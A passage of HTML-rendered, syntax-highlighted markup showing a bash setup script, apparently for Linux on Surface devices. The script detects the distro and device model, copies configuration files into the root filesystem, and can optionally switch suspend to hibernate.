&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;152&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#152&#34;&gt;152&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;153&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#153&#34;&gt;153&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;154&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#154&#34;&gt;154&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;155&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#155&#34;&gt;155&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;156&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#156&#34;&gt;156&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;157&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#157&#34;&gt;157&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;158&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#158&#34;&gt;158&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;159&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#159&#34;&gt;159&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;160&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#160&#34;&gt;160&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;161&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#161&#34;&gt;161&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;162&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#162&#34;&gt;162&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;163&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#163&#34;&gt;163&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;164&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#164&#34;&gt;164&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;165&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#165&#34;&gt;165&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;166&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#166&#34;&gt;166&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;167&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#167&#34;&gt;167&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;168&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#168&#34;&gt;168&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;169&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#169&#34;&gt;169&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;170&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#170&#34;&gt;170&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;171&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#171&#34;&gt;171&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;172&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#172&#34;&gt;172&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;173&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#173&#34;&gt;173&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;174&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#174&#34;&gt;174&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;175&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#175&#34;&gt;175&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;176&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#176&#34;&gt;176&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;177&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#177&#34;&gt;177&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;178&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#178&#34;&gt;178&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;179&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#179&#34;&gt;179&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;180&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#180&#34;&gt;180&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;181&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#181&#34;&gt;181&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;182&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#182&#34;&gt;182&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;183&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#183&#34;&gt;183&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;184&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#184&#34;&gt;184&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;BASE&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;VERSION&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; -r /etc/os-release &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    . /etc/os-release
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ID&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; arch &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;BASE&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$ID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ID&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ubuntu &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;BASE&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$ID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;VERSION&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$VERSION&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;ID
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; ! -z &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$UBUNTU&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_CODENAME&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt; ; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;BASE&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ubuntu&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;VERSION&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$VERSION&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;ID
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;BASE&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$ID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		LX&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;VERSION&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$VERSION&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Could not identify your distro. Please open script and run commands manually.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SUR&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;MODEL&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;dmidecode | grep &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Product Name&amp;#34;&lt;/span&gt; -m &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; | xargs | sed -e &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;s/Product Name: //g&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SUR&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;SKU&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;dmidecode | grep &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;SKU Number&amp;#34;&lt;/span&gt; -m &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; | xargs | sed -e &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;s/SKU Number: //g&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nRunning &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$LX&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_BASE version &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$LX&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_VERSION on a &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_MODEL.\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;read&lt;/span&gt; -rp &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Press enter if this is correct, or CTRL-C to cancel.&amp;#34;&lt;/span&gt; cont;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\\nContinuing setup...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Coping the config files under root to where they belong...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cp -Rb root/&lt;span style=&#34;color:#8aadf4&#34;&gt;\*&lt;/span&gt; /
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Making /lib/systemd/system-sleep/sleep executable...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod a+x /lib/systemd/system-sleep/sleep
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;read&lt;/span&gt; -rp &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Do you want to replace suspend with hibernate? (type yes or no) &amp;#34;&lt;/span&gt; usehibernate;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$usehibernate&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$LX&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\_BASE&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ubuntu&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt; -eq &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;LX&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;VERSION&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; &amp;gt;= 17.10&amp;#34;&lt;/span&gt; | bc&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Using Hibernate instead of Suspend...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		ln -sfb /lib/systemd/system/hibernate.target /etc/systemd/system/suspend.target &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo ln -sfb /lib/systemd/system/systemd-hibernate.service /etc/systemd/system/systemd-suspend.service
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Using Hibernate instead of Suspend...\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		ln -sfb /usr/lib/systemd/system/hibernate.target /etc/systemd/system/suspend.target &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo ln -sfb /usr/lib/systemd/system/systemd-hibernate.service /etc/systemd/system/systemd-suspend.service
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Not touching Suspend\\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
